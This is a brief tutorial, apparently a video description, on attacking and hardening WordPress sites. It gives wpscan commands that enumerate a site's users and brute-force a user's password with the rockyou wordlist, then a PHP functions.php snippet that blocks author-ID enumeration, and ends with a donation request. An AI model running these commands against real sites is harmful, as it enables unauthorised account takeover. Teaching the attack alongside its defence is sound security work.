How to hack a Wordpress website and prevent it!

In this tutorial I demonstrate how to hack a password from a Wordpress website and show how to prevent it.

Steps Involved....
wpscan --url wordpressurl --force --ignore-main-redirect --wp-content-dir wp-content --random-user-agent --enumerate u

wpscan --url wordpressurl --force --ignore-main-redirect --wp-content-dir wp-content --random-user-agent -U username --passwords /root/Desktop/rockyou.txt

Add to WP Functions File
function kl_block_user_enumeration_attempts() {
if ( is_admin() ) return;

$author_by_id = ( isset( $_REQUEST['author'] ) && is_numeric( $_REQUEST['author'] ) );

if ( $author_by_id )
wp_die( 'Author archives have been disabled.' );
}
add_action( 'template_redirect', 'kl_block_user_enumeration_attempts' );

If you found this video helpful please feel free to donate at

Paypal : [email protected]
Bitcoin : 12AMtgUsHn8JaSWxDZ5uxdRgngU7q9UzDA